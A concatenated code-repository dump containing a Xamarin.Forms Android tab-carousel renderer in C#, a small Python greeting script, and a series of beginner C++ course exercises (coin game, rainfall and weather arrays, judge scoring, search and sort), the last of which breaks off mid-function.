/// Reflection from function IVisualElementRenderer Xamarin.Forms.Platform.Android.Platform.GetRenderer(BindableObject bindable)
/// </summary>
/// <param name="bindable">The bindable.</param>
/// <returns></returns>
private static IVisualElementRenderer GetRenderer ( BindableObject bindable ) {
if ( bindable == null ) {
return null;
}
if ( getRendererDelegate == null ) {
var assembly = typeof ( CarouselPageRenderer ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Platform.Android.Platform" );
var method = platformType.GetMethod ( "GetRenderer" );
getRendererDelegate = ( GetRendererDelegate ) method.CreateDelegate ( typeof ( GetRendererDelegate ) );
}
return getRendererDelegate ( bindable );
}
private delegate void SetRendererDelegate ( BindableObject bindable , IVisualElementRenderer value );
private static SetRendererDelegate setRendererDelegate;
/// <summary>
/// Reflection from function Xamarin.Forms.Platform.Android.Platform.SetRenderer ( BindableObject bindable , IVisualElementRenderer value )
/// </summary>
/// <param name="bindable">The bindable.</param>
/// <param name="value">The value.</param>
private static void SetRenderer ( BindableObject bindable , IVisualElementRenderer value ) {
if ( bindable == null ) {
return;
}
if ( value == null ) {
return;
}
if ( setRendererDelegate == null ) {
var assembly = typeof ( CarouselPageRenderer ).Assembly;
var platformType = assembly.GetType ( "Xamarin.Forms.Platform.Android.Platform" );
var method = platformType.GetMethod ( "SetRenderer" );
setRendererDelegate = ( SetRendererDelegate ) method.CreateDelegate ( typeof ( SetRendererDelegate ) );
}
setRendererDelegate ( bindable , value );
}
#endregion
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Enums/Enums.cs
/***************************************************************************************************************
* IndicatorStyle.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
namespace TabCarouselPage.Droid.Widget
{
public enum IndicatorStyle
{
ENone = 0,
ETriangle = 1,
EUnderline = 2
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/TabCarouselPageIndicator.cs
/***************************************************************************************************************
* TabCarouselPageIndicator.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using Android.Content;
using Android.Support.V4.View;
using Android.Util;
using Android.Views;
using Android.Widget;
using Java.Lang;
using TabCarouselPage.Core;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
namespace TabCarouselPage.Droid.Widget
{
public class TabCarouselPageIndicator : TabPageIndicator
{
private readonly CarouselPage element;
private Core.TabCarouselPage TabbedCarousel {
get { return ( Core.TabCarouselPage ) element; }
}
public TabCarouselPageIndicator ( Context context , CarouselPage element )
: base ( context ) {
this.element = element;
}
public TabCarouselPageIndicator ( Context context , CarouselPage element , IAttributeSet attrs )
: base ( context , attrs ) {
this.element = element;
}
public override void SetViewPager ( ViewPager view ) {
var adapter = view.Adapter;
if ( adapter == null ) {
throw new IllegalStateException ( "ViewPager does not have adapter instance." );
}
mViewPager = view;
view.SetOnPageChangeListener ( this );
NotifyDataSetChanged ();
}
public override void NotifyDataSetChanged () {
mTabLayout.RemoveAllViews ();
var adapter = mViewPager.Adapter;
var count = adapter.Count;
for ( var i = 0; i < count; i++ ) {
string title;
int iconResId = 0;
switch ( TabbedCarousel.TabType ) {
case TabType.TitleOnly :
title = element.Children [ i ].Title ?? string.Empty;
break;
case TabType.TitleWithIcon :
title = element.Children [ i ].Title ?? string.Empty;
if ( element.Children [ i ].Icon != null ) {
var filename = element.Children [ i ].Icon.File.Contains ( ".png" )
? element.Children [ i ].Icon.File.Replace ( ".png" , string.Empty )
: element.Children [ i ].Icon.File;
iconResId = Context.Resources.GetIdentifier ( filename , "drawable" , Context.PackageName );
} else {
iconResId = global::Android.Resource.Color.Transparent;
}
break;
case TabType.IconOnly :
title = string.Empty;
if ( element.Children [ i ].Icon != null ) {
var filename = element.Children [ i ].Icon.File.Contains ( ".png" )
? element.Children [ i ].Icon.File.Replace ( ".png" , string.Empty )
: element.Children [ i ].Icon.File;
iconResId = Context.Resources.GetIdentifier ( filename , "drawable" , Context.PackageName );
} else {
iconResId = global::Android.Resource.Color.Transparent;
}
break;
default :
throw new ArgumentOutOfRangeException ();
}
AddTab ( title.ToUpperInvariant () , i , iconResId );
}
if ( mSelectedTabIndex > count ) {
mSelectedTabIndex = count - 1;
}
SetCurrentItem ( mSelectedTabIndex );
RequestLayout ();
}
protected override void AddTab ( string text , int index , int iconResId = 0 ) {
base.AddTab ( text , index , iconResId );
for ( var i = 0; i < mTabLayout.ChildCount; i++ ) {
if ( !( mTabLayout.GetChildAt ( i ) is TabView ) ) {
continue;
}
var tabView = mTabLayout.GetChildAt ( i ) as TabView;
if ( tabView == null ) {
continue;
}
switch ( TabbedCarousel.TabType ) {
case TabType.TitleOnly :
break;
case TabType.TitleWithIcon :
tabView.TextView.SetTextSize ( ComplexUnitType.Sp , 10 );
break;
case TabType.IconOnly :
break;
default :
throw new ArgumentOutOfRangeException ();
}
}
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage/TabCarouselPage.cs
/***************************************************************************************************************
* TabCarouselPage.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using Xamarin.Forms;
namespace TabCarouselPage.Core
{
public class TabCarouselPage : CarouselPage
{
public TabType TabType { get; protected set; }
public TabCarouselPage ( TabType tabType = TabType.TitleWithIcon ) {
TabType = tabType;
}
}
}
<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Renderers/PageContainer.cs
/***************************************************************************************************************
* PageContainer.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using Android.Content;
using Android.Views;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
namespace TabCarouselPage.Droid.Renderers
{
/// <summary>
/// Based on the internal class Xamarin.Forms.Platform.Android.PageContainer.
/// </summary>
public class PageContainer : ViewGroup
{
private readonly IVisualElementRenderer child;
public PageContainer ( Context context , IVisualElementRenderer child ) : base ( context ) {
AddView ( child.ViewGroup );
this.child = child;
}
protected override void OnMeasure ( int widthMeasureSpec , int heightMeasureSpec ) {
child.ViewGroup.Measure ( widthMeasureSpec , heightMeasureSpec );
SetMeasuredDimension ( child.ViewGroup.MeasuredWidth , child.ViewGroup.MeasuredHeight );
}
protected override void OnLayout ( bool changed , int l , int t , int r , int b ) {
//We need to layout the Element based on the container's position and size in order to get the proper rendering.
//This is the only way the page rendering to render's properly at the moment
child.Element.Layout ( new Rectangle ( child.Element.X , child.Element.Y , child.Element.Width , Context.FromPixels ( b - t ) ) );
child.UpdateLayout ();
}
}
}
|
38d2feff84f44681ba0bb5de663b1d56d5d64152
|
[
"Markdown",
"C#"
] | 24 |
C#
|
ShahmanTeh/Xamarin.Forms-TabCarouselPage
|
de2a7a72ed007aaffc48ceffbf64d8b6647e112c
|
df242cfc2d0dbff7cfb40b597c43f9475450bdab
|
refs/heads/master
|
<file_sep># Hello-World
#my first program to push by git
<file_sep>msg=input("Enter Message to Print: ")
print("Hey "+msg)
|
ea04759b89770afb868f06565b9f1bb5dbc36d40
|
[
"Markdown",
"Python"
] | 2 |
Markdown
|
RajpalSM/Hello-World
|
8c2a0f08bc738f3d4f76a389dc1ce5e3babf5f82
|
ae1490545d2061d77e78553e1d9428a5f48db4f4
|
refs/heads/master
|
<file_sep>const mongoose = require("mongoose");
const Schema = mongoose.Schema;
const bookSchema = new Schema({
_id: { type: Schema.ObjectId, auto: true },
_creatorId: { type: Schema.ObjectId, required: true},
name: {type: String, required: true},
page: { type: Number, required: true},
// date: { type: Date, required: true}
})
const Book = mongoose.model("Book", bookSchema);
module.exports = Book;<file_sep>const express = require('express');
const app = express();
const cors = require('cors');
const cookieParser = require('cookie-parser');
const PORT = process.env.PORT || 4000;
const mongoose = require('mongoose');
require('dotenv').config();
app.use(cors());
app.use(express.json());
//Allows us to access browser cookies
app.use(cookieParser());
app.use(session({
key: 'user_sid',
secret: 'somerandonstuffs',
resave: false,
saveUninitialized: false,
cookie: {
expires: 600000
}
}));
//Connect app to MOngoDb
const uri = process.env.ATLAS_URI;
mongoose.connect(uri, { useNewUrlParser: true, useCreateIndex: true });
const connection = mongoose.connection;
connection.once('open', () => {
console.log("MongoDB database connection established successfully");
});
//Routing
const bookRouter = require('./routes/books');
const usersRouter = require('./routes/user');
app.use('/books', bookRouter);
app.use('/users', usersRouter);
app.listen(PORT, function() {
console.log("Server is running on Port: " + PORT);
});<file_sep>const router = require('express').Router();
// const session = require('express-session');
let Book = require('../models/book.model');
router.route('/add/:id').post((req, res) => {
sess = req.session;
var book = {
_creatorId: req.params.id,
name: req.body.name,
page: req.body.page,
// date: Date.parse(req.body.date)
}
//use schema.create to insert data into the db
Book.create(book, function (err, user) {
if (!err) {
res.json("Book added!")
} else {
res.status(400).json('Error:' + err);
}
});
})
module.exports = router;
|
9419259c33ce73aa4cd72dfb01954907f1cf55de
|
[
"JavaScript"
] | 3 |
JavaScript
|
rimazk123/libkeep
|
c04d13c849485d6f582284f8e62f2bf78fc7022e
|
a04b3de1826a04c86cc559283469cf36ea048fd9
|
refs/heads/main
|
<repo_name>tacallegari/COP2220<file_sep>/Module6Activity2.cpp
// <NAME>
// 2428774
//COP2220 Fall 2020
#include <iostream>
#include <string>
using namespace std;
//Declare functions
int getRandomNums(int array[], int SIZE);
void displaySort(int count, int array[], int SIZE);
void bubbleSort(int array[], int SIZE);
void swap(int& a, int& b);
void selectionSort(int array[], int SIZE);
int main()
{
//Declare variables & arrays
const int SIZE = 100;
int array1[SIZE], array2[SIZE];
//Call on function to fill array with elements
getRandomNums(array1, SIZE);
//Copy first array elements to second
for (int i = 0; i < SIZE; i++) {
array2[i] = array1[i];
}
//Display array
cout << "Generated two identical arrays with random numbers shown below." << endl;
cout << "==============================================================" << endl;;
for (int val : array1) {
cout << val << " ";
}
//Call on bubbleSort function and display results
cout << " " << endl;
cout << "\nConducting a Bubble Sort on first array." << endl;
cout << "=========================================" << endl;
bubbleSort(array1, SIZE);
//Call on selectionSort function and display results
cout << " " << endl;
cout << "\nConducting a Selection Sort on second array." << endl;
cout << "===========================================" << endl;
selectionSort(array2, SIZE);
//Space
cout << " " << endl;
return 0;
}
//Function adds random num element to an array
int getRandomNums(int array[], int SIZE) {
for (int i = 0; i < SIZE; i++) {
array[i] = rand();
}
return array[SIZE];
}
//Function displays counter and sorted array
void displaySort(int count, int array[], int SIZE) {
cout << "Sort is completed. It took " << count << " exchanges..." << endl;
for (int i = 0; i < SIZE; i++) {
cout << array[i] << " ";
}
}
//Function sorts array via bubble sort method
void bubbleSort(int array[], int SIZE) {
//Declare variables
int maxElement, index, count = 0;
//Loop filters through array and sorts by ascending order
for (maxElement = SIZE - 1; maxElement > 0; maxElement--) {
for (index = 0; index < maxElement; index++) {
if (array[index] > array[index + 1]) {
/// Calls swap function
swap(array[index], array[index + 1]);
}
}
count++; //Counter
}
//Call on display function
displaySort(count, array, SIZE);
}
//Swap function
void swap(int& a, int& b) {
int temp = a;
a = b;
b = temp;
}
//Function sorts array via selection sort method
void selectionSort(int array[], int SIZE) {
//Declare variables
int minIndex, minValue, count = 0;
//Loop filters through array and sorts by ascending order
for (int start = 0; start < (SIZE - 1); start++) {
minIndex = start;
minValue = array[start];
for (int index = start + 1; index < SIZE; index++) {
if (array[index] < minValue) {
minValue = array[index];
minIndex = index;
}
}
//Call on swap function
swap(array[minIndex], array[start]);
count++; //Couner
}
//Call on display function
displaySort(count, array, SIZE);
}<file_sep>/Module4Activity1.cpp
//<NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
#include <string>
using namespace std;
//This function asks user for input
int getNumAccidents() {
//Define local variables
int numOfAccidents;
const string inputQuestion = "How many accidents happen in this region? ";
//Ask user for input
cout << inputQuestion;
cin >> numOfAccidents;
//Validate input
if (numOfAccidents == 0 || numOfAccidents < 0) {
cout << "Invalid entry. Please try again." << endl;
cout << inputQuestion;
cin >> numOfAccidents;
}
//Return input
return numOfAccidents;
}
//This function findest lowest accident prone region
void findLowests(int n, int s, int e, int w, int c) {
//Define local variables
int lowestAccidents;
string lowestRegion;
//Assign temp values
lowestAccidents = n;
lowestRegion = "North";
//Series of if loops filters through all regions for lowest #
if (s < lowestAccidents) {
lowestAccidents = s;
lowestRegion = "South";
}
if (lowestAccidents > e) {
lowestAccidents = e;
lowestRegion = "East";
}
if (lowestAccidents > w) {
lowestAccidents = w;
lowestRegion = "West";
}
if (lowestAccidents > c) {
lowestAccidents = c;
lowestRegion = "Central";
}
//Display results
cout << "\nThe region with the lowest number of accidents is " << lowestRegion
<< " with " << lowestAccidents << " incidents."<< endl;
}
int main()
{
//Define local variables
int north, south, east, west, central;
const string inputMessage= " is number of accidents that happened in ";
//North region
cout << "North" << endl;
north = getNumAccidents();
cout << north << inputMessage << "North" << endl;
//South region
cout << "South" << endl;
south = getNumAccidents();//Call on function
cout << south << inputMessage << "South" << endl;
//East region
cout << "East" << endl;
east = getNumAccidents();//Call on function
cout << east << inputMessage << "East" << endl;
//West region
cout << "West" << endl;
west = getNumAccidents(); //Call on function
cout << west << inputMessage << "West" << endl;
//Central region
cout << "Central" << endl;
central = getNumAccidents(); //Call on function
cout << central << inputMessage << "Central" << endl;
//Call on function
findLowests(north, south, east, west, central);
return 0;
}
<file_sep>/Module2Activity1.cpp
//<NAME>
//2428774
//COP2220 Fall 2020
#include <iostream>
using namespace std;
int main()
{
//Coin constants
double penny, nickle, dime, quarter, dollar;
penny = 0.01;
nickle = 0.05;
dime = 0.10;
quarter = 0.25;
dollar = 1;
//Coin variables
int numOfPennies, numOfNickles, numOfDimes, numOfQuarters;
//Display Welcome message
cout << "Welcome to the coin game.\n"
<< "Goal of the game is to guess how many pennies, nickles, dimes and quarters will equal a dollar.\n";
//Get number of each coin
cout << "Enter number of each coin:" << endl;
cout << "Pennies: ";
cin >> numOfPennies;
cout << "Nickle(s): ";
cin >> numOfNickles;
cout << "Dime(s): ";
cin >> numOfDimes;
cout << "Quarter(s): ";
cin >> numOfQuarters;
//Calculate and display coin total
double total = (numOfPennies * penny) + (numOfNickles * nickle) + (numOfDimes * dime) + (numOfQuarters * quarter);
if (total > dollar) {
cout << "\nSorry that's incorrect. You guessed too much.\n"
<< "Total is $" << total << endl;
}
else if (total < dollar) {
cout << "\nSorry that's incorrect. You guessed too low.\n"
<< "Total is $" << total << endl;
}
else {
cout << "\nRight on the money!\n"
<< "Total is $" << total << endl;
}
return 0;
}
<file_sep>/Module3Activity2.cpp
// <NAME>
//2428774
// COP2220 Fall 2020
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
//Define variables
ifstream rfile;
int number, count, sum, average;
//Accumlators
count = 0;
sum = 0;
//Open file
rfile.open("Random.txt"); // MUST -->> Change to absolute path of file
//Read file & display content
if (rfile) {
while (rfile >> number) {
cout << number << endl;
count++;
sum += number;
}
}
else {
cout << "Error. Can't open file.\n";
}
//Calculate average
average = sum / count;
//Display accumulators & average
cout << "Total numbers in file: " << count << endl;
cout << "Sum of numbers in file: " << sum << endl;
cout << "Average of numbers in file: " << average << endl;
//Close file
rfile.close();
return 0;
}
<file_sep>/Module5Activity2.cpp
// <NAME>
// 2428774
//COP2220 Fall 2020
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
//Declare function
void displayMonth(int month);
void displayHighestRainMonth(int highestRainMonth);
int main()
{
//Constants
const int NUM_MONTHS = 3, NUM_DAYS = 30;
//Declare variables
ifstream inputFile;
string filename;
char weatherData[NUM_MONTHS][NUM_DAYS]; // 3x30 Array will hold weather data
int totalRain = 0, totalSun = 0, totalCloud = 0, highestRainMonth = 0;
//Get filename from user
cout << "Enter exact location of file: ";
cin >> filename;
//Open File
inputFile.open(filename);
//Loop checks to see if file is location is valid
if (!inputFile) {
cout << "Error. Can't open file.";
return 0;
}
else {
//Read data and store in array
for (int month = 0; month < NUM_MONTHS; month++) {
for (int day = 0; day < NUM_DAYS; day++) {
inputFile >> weatherData[month][day];
}
}
}
//Intro display message
cout << "Reading file\n"
<< ".............";
cout << "\nThree Month Weather report" << endl;
cout << "=========================\n";
//Read data and caculate sums for each month & totals for all three months
for (int month = 0; month < NUM_MONTHS; month++) {
int numOfRainDays = 0, numOfSunnyDays = 0, numOfCloudyDays = 0;
//Switches match char data with correct variable
for (int day = 0; day < NUM_DAYS; day++) {
switch (weatherData[month][day]) {
case 'S': numOfSunnyDays++;
break;
case 'R': numOfRainDays++;
break;
case 'C': numOfCloudyDays++;
break;
}
}
//Display each month's stats
displayMonth(month);
//Displays the different sums of weathered days for each month
cout << "Rainy Days:" << numOfRainDays << endl;
cout << "Cloudy Days: " << numOfCloudyDays << endl;
cout << "Sunny Days: " << numOfSunnyDays << endl;
//The total of all weather days in 3 month period
totalRain += numOfRainDays;
totalCloud += numOfCloudyDays;
totalSun += numOfSunnyDays;
//Declare & find rainiest month
if (highestRainMonth > numOfRainDays) {
highestRainMonth = month;
}
}
//Display stats of 3-month period
cout << "\nStats for 3-month period:\n"
<< "=========================" << endl;
cout << "Rainy days: " << totalRain << endl;
cout << "Cloudy Days: " << totalCloud << endl;
cout << "Sunny Days: " << totalSun << endl;
//Call on function to display rainiest month
displayHighestRainMonth(highestRainMonth);
return 0;
}
//Function displays each month
void displayMonth(int month) {
if (month == 0) {
cout << "\nJune stats: " << endl;
cout << "============" << endl;
}
else if (month == 1) {
cout << "\nJuly stats: " << endl;
cout << "============" << endl;
}
else if (month == 2) {
cout << "\nAugust stats: " << endl;
cout << "============" << endl;
}
}
//Function displays which month is the rainiest
void displayHighestRainMonth(int highestRainMonth) {
cout << "The highest rain month is.... ";
if (highestRainMonth == 0) {
cout << "June\n";
}
else if (highestRainMonth == 1) {
cout << "July\n";
}
else if (highestRainMonth == 2) {
cout << "August\n";
}
}
<file_sep>/Module4Activity2.cpp
// <NAME>
//2428774
// COP2220 Fall 2020
#include <iostream>
#include <string>
#include <iomanip>
using namespace std;
//Function ask user for Judge Score
void getJudgeData(double &judgeScore) {
//User input question
const string inputQuestion = "What is the judge's score? ";
//Ask user for input
cout << inputQuestion;
cin >> judgeScore;
//Verify input
if (judgeScore <= 0 || judgeScore > 10) {
cout << "Error. Please try again." << endl;
cout << inputQuestion;
cin >> judgeScore;
}
}
//Function findest lowest score
int findLowest(double score1, double score2, double score3, double score4, double score5) {
//Define & temporary assign variable
double lowestScore = score1;
//If loops filter through scores to findest lowest
if (score2 < lowestScore) {
lowestScore = score2;
}
if (score3 < lowestScore) {
lowestScore = score3;
}
if (score4 < lowestScore) {
lowestScore = score4;
}
if (score5 < lowestScore) {
lowestScore = score5;
}
//Display results
cout << "Lowest Score: " << lowestScore << endl;
//Return varible
return lowestScore;
}
//Function finds highest score
int findHighest(double score1, double score2, double score3, double score4, double score5) {
//Define and temporary assign variable
double highestScore = score1;
//If loops filter through scores to find highest
if (score2 > highestScore) {
highestScore = score2;
}
if (score3 > highestScore) {
highestScore = score3;
}
if (score4 > highestScore) {
highestScore = score4;
}
if (score5 > highestScore) {
highestScore = score5;
}
//Display results
cout << "Highest Score: " << highestScore << endl;
//Return variable
return highestScore;
}
//Function calculates final score
void calcScore(double score1, double score2, double score3, double score4, double score5) {
//Define instance variables
double lowestScore, highestScore;
//Get values for instance variables
lowestScore = findLowest(score1, score2, score3, score4, score5);
highestScore = findHighest(score1, score2, score3, score4, score5);
//Sum of scores - highest and lowest score
double sum = score1 + score2 + score3 + score4 + score5 - lowestScore - highestScore;
//Average of 3 median scores
double average = sum / 3;
//Display results with precision of 1 decimal
cout << "Final score is: " << fixed << setprecision(1) << average << endl;
}
//Main
int main()
{
//Define variables
double score1, score2, score3, score4, score5;
//Get score values
getJudgeData(score1);
getJudgeData(score2);
getJudgeData(score3);
getJudgeData(score4);
getJudgeData(score5);
//Call on function
calcScore(score1, score2, score3, score4, score5);
}
<file_sep>/Module1Activity1.cpp
// <NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
using namespace std;
int main()
{
std::cout << "<NAME>\n 214 176th Terrace Dr E, Redington Shores, FL, 33708\n 920-807-4321\n Computer Programming & Analysis\n";
return 0;
}
<file_sep>/Module1Activity2.cpp
// <NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
using namespace std;
int main()
{
// Constant variables
unsigned int stock;
double price, salePrice, commission;
stock = 1000;
price = 45.5;
salePrice = 56.9;
commission = 0.02;
//Calculated variables
double initalStockCost = stock * price; //calculate stock expense
double initalBrokerCost = initalStockCost * commission; //calculate intial broker cost
double stockRevenue = stock * salePrice; //calculate stock revenue
double finalBrokerCost = stockRevenue * commission; //calculate post-sale broker commission
double netStockProfit = stockRevenue - (initalBrokerCost + finalBrokerCost + initalStockCost); //calculate stock profit or loss
//Display transactions
cout << "Inital Stock Cost: " << initalStockCost
<< "\nInital Broker Cost: " << initalBrokerCost
<< "\nStock Revenue: " << stockRevenue
<< "\nFinal Broker Cost: " << finalBrokerCost
<< "\nNet Profit: " << netStockProfit;
return 0;
}
<file_sep>/Module7Activity1.cpp
// <NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
#include <string>
using namespace std;
//Declare functions
string getCourseName();
int getNumOfTests();
int getTestScore();
void sortTests(int array[], int size);
void swap(int& a, int& b);
void calculateAverage(int array[], int size, string course);
int main()
{
//Declare variables
string course = getCourseName();
int numOfTests = getNumOfTests();
//Declare pointer
int* tests;
tests = new int[numOfTests];
//Display user input message
cout << "Enter " << numOfTests <<" test scores (%) for " << course << "." << endl;
//Add test scores to array
for (int i = 0; i < numOfTests; i++) {
tests[i] = getTestScore();
}
//Call on function to sort array
sortTests(tests, numOfTests);
//Call on function to calculate average
calculateAverage(tests, numOfTests, course);
return 0;
}
//Function ask's user for course name
string getCourseName() {
//Declare variable
string courseName;
//Display user input message
cout << "Please enter name of course: ";
cin >> courseName;
//Return string
return courseName;
}
// Function ask's user for # of tests
int getNumOfTests() {
//Declare variable
int tests;
//Display user input message
cout << "\nPlease enter number of tests: ";
cin >> tests;
//Return int
return tests;
}
//Function ask's user for test scores
int getTestScore() {
//Declare variable
int score;
cout << "Test score: ";
cin >> score;
//Input validation
if (score < 0) {
cout << "Invalid input...Please try again: ";
cin >> score;
}
//Return int
return score;
}
//Function sorts array via sort selection method
void sortTests(int array[], int size) {
//Declare variables
int minIndex, minValue;
//Nested for loops sort though array
for (int start = 0; start < (size - 1); start++) {
minIndex = start;
minValue = array[start];
for (int index = start + 1; index < size; index++) {
if (array[index] < minValue) {
minValue = array[index];
minIndex = index;
}
}
//Call on swap function
swap(array[minIndex], array[start]);
}
//Display sorted array
cout << "\nDisplaying sorted tests in ascending order\n";
for (int i = 0; i < size; i++) {
cout << array[i] << ", ";
}
}
//Swap function
void swap(int& a, int& b) {
int temp = a;
a = b;
b = temp;
}
//Function calculates average and displays it
void calculateAverage(int array[], int size, string course) {
//Declare varibles
int total = 0;
//For loop total's scores
for (int i = 0; i < size; i++) {
total += array[i];
}
//Calucate average
int average = total / size;
//Display results
cout <<"\nThe average test score for " << course << " is : " << average << "%";
}<file_sep>/Module2Activity2.cpp
// <NAME>
// 2428774
//COP2220 Fall 2020
#include <iostream>
using namespace std;
// VEG VEGAN GLUTEN
//Joe's : N N N
//Main : Y N Y
//Corner: Y Y Y
//Mama's: Y N N
//Chef's: Y Y Y
int main()
{
//Create Resturant flags
bool joesFlag = true;
bool mainFlag = true;
bool cornerFlag = true;
bool mamasFlag = true;
bool chefsFlag = true;
//Get user dietary input
string isVegeterian, isVegan, isGlutenFree;
cout << "Please answer the following questions: 'y' or 'n'" <<endl;
cout << "Is anyone in your party a vegeterian? ";
cin >> isVegeterian;
cout << "Is anyone in your party a vegan? ";
cin >> isVegan;
cout << "Is anyone in your party gluten intolerant? ";
cin >> isGlutenFree;
//Check each input and turn off restuarant flags
if (isVegeterian == "y") {
joesFlag = false;
}
if (isVegan == "y") {
joesFlag = false;
mainFlag = false;
mamasFlag = false;
}
if (isGlutenFree == "y") {
joesFlag = false;
mamasFlag = false;
}
//Output resturants flags if true
cout << ".....................\n"
<<"Here are your choices: " << endl;
if (joesFlag) {
cout << "Joe's Gourment Burgers\n";
}
if (mainFlag) {
cout << "Main Street Pizza Company\n";
}
if (cornerFlag) {
cout << "Corner Cafe\n";
}
if (mamasFlag) {
cout << "Mama's Fine Italian\n";
}
if (chefsFlag) {
cout << "The Chef's Kitchen";
}
cout << ".....................\n";
}
<file_sep>/Module3Activity1.cpp
// <NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
using namespace std;
int main()
{
//Define variables
int numInput, sentinel, numLarge, numSmall;
sentinel= -99;
//Ask user for input
cout << "Welcome to the integer loop. Enter -99 if you'd like to exit" << endl;
cout << "Please enter any integer to start the series: ";
cin >> numInput;
//Assign variables
numLarge = numInput;
numSmall = numInput;
//Nested loop that continues to ask user for input
while (numInput != -99){
cout << "Please enter another integer: ";
cin >> numInput;
//If loops find smallest and largest number in series
if (numInput < numSmall) {
numSmall = numInput;
}
if (numInput > numLarge) {
numLarge = numInput;
}
}
//Exit loop that displays largest & smallest number in series
if (numInput == sentinel) {
cout << "End of series." << endl;
cout << "Largest number: " << numLarge << endl;
cout << "Smallest number: " << numSmall << endl;
}
return 0;
}
<file_sep>/Module5Activity1.cpp
// <NAME>
//2428774
//COP2220 Fall 2020
#include <iostream>
#include <string>
using namespace std;
//Declare functions
double getRainfall();
double findLowest(string arrayX[], double arrayY[12]);
double findHighest(string arrayX[], double arrayY[12]);
void calcTotal(double array[12]);
void display(string arrayX[12], double arrayY[12]);
int main()
{
//Constant
const int SIZE = 12;//12 months
//Declare arrays
double rainfall[SIZE], lowest, highest;
string months[SIZE] = { "January", "Feburary", "March", "April", "May", "June", "July",
"August", "September", "October", "November", "December" };
//Call on function & add to array
for (int count = 0; count < SIZE; count++) {
cout << months[count] << ": ";
rainfall[count] = getRainfall();
}
//Call on function to display
display(months, rainfall);
//Display message
cout << "\nRainfall stastics" << endl;
cout << "===============" << endl;
//Call on function to calculate sum & avg
calcTotal(rainfall);
//Find lowest and highest months of rainfall
lowest = findLowest(months,rainfall);
highest = findHighest(months, rainfall);
return 0;
}
//Function ask's user for rainfall data
double getRainfall() {
double rainFall; //Declare variable
//Display input question
cout << "Please enter rainfall in inches for this month? ";
cin >> rainFall;
//Validate rainfall input
if (rainFall < 0) {
cout << "Invalid entry. Please enter again: ";
cin >> rainFall;
}
//Return data
return rainFall;
}
//Function finds the lowest month in rainfall
double findLowest(string arrayX[12], double arrayY[12]) {
//Define variables
double lowestRainfall = arrayY[0];
string lowestMonth = arrayX[0];
//For loop filters through array
for (int i = 0; i < 12; i++) {
if (arrayY[i] < lowestRainfall) {
lowestRainfall = arrayY[i];
lowestMonth = arrayX[i];
}
}
//Displays results
cout << "The lowest month is " << lowestMonth << " with "
<< lowestRainfall << " inches." << endl;
//Returns data
return lowestRainfall;
}
//Find the highest month of rainfall
double findHighest(string arrayX[12], double arrayY[12]) {
//Define variables
double highestRainfall = arrayY[0];
string highestMonth = arrayX[0];
//For loop filters through array
for (int i = 0; i < 12; i++) {
if (arrayY[i] > highestRainfall) {
highestRainfall = arrayY[i];
highestMonth = arrayX[i];
}
}
//Display results
cout << "The highest month is " << highestMonth << " with "
<< highestRainfall << " inches." << endl;
//Return data
return highestRainfall;
}
//Function caculates sum and average rainfall in a year
void calcTotal(double array[12]) {
//Declare variables
double sumTotal, average;
sumTotal = 0;
//Calculate sum
for (int i = 0; i < 12; i++) {
sumTotal += array[i];
}
//Calculate average
average = sumTotal / 12;
//Display results
cout << "The annual total of rainfall is " << sumTotal << " inches." << endl;
cout << "The average rainfall is " << average << " inches." << endl;
}
//Function display's both arrays
void display(string arrayX[12], double arrayY[12]) {
//Display message
cout << "\nRainfall for the year" <<endl;
cout << "=====================" << endl;
//Loop print's out each element in both array's
for (int i = 0; i < 12; i++) {
cout << arrayX[i] << ": " << arrayY[i] << " inches." <<endl;
}
}<file_sep>/Module6Activity1.cpp
// <NAME>
// 2428774
// COP2220 Fall 2020
#include <iostream>
#include <cstdlib>
using namespace std;
//Declare functions
int linearSearch(int list[], int size, int value);
int binarySearch(int list[], int size, int value);
void displayResults(int count, int value, int position);
void sortArray(int array[], int size);
void swap(int& a, int& b);
int main()
{
//Declare constants
const int SIZE = 300, MAX_VALUE = 1000, MIN_VALUE = 1;
//Declare variables
int randomNums[SIZE], value = (rand() % (MAX_VALUE - MIN_VALUE + 1)) + MIN_VALUE;
//Adds random numbers to array
for (int i = 0; i < SIZE; i++) {
randomNums[i] = (rand() % (MAX_VALUE - MIN_VALUE + 1)) + MIN_VALUE;
}
//Display message
cout << "Displaying array with " << SIZE << " random numbers\n"
<< "=======================================\n";
//Display array
for (int NUMS : randomNums) {
cout << NUMS << " ";
}
//Display message for linear search
cout << " " << endl; //Blank space
cout << "We will now conduct a search for random generated value of " << value << endl;
cout << "\nPerforming linear search\n"
<< "..................." << endl;
//Call on function to conduct a linear search
linearSearch(randomNums, SIZE, value);
//Sort array prior to binarySearch
sortArray(randomNums, SIZE);
//Display sorted array
cout << "\nArray has been sorted for binary search. Displaying below.\n"
<< "==========================================================" << endl;
for (int NUMS : randomNums) {
cout << NUMS << " ";
}
//Blank space
cout << " " << endl;
//Display message for binary search
cout << "\nPerforming binary search\n"
<< "..................." << endl;
//Call on function to conduct binarySearch
binarySearch(randomNums, SIZE, value);
return 0;
}
//Function conducts linear search on array
int linearSearch(int list[], int size, int value) {
//Declare variables
int position = -1, i = 0, count = 0;
bool found = false;
//Loop filters through array until value is found
while (i < size && !found) {
if (list[i] == value) {
found = true;
position = i;
}
i++;
count++; //Counter
}
//Call on function to display results
displayResults(count, value, position);
return position;
}
//Function conducts binary search on array
int binarySearch(int list[], int size, int value) {
//Declare variables
int first = 0, last = size -1, position = -1, count = 0, middle;
bool found = false;
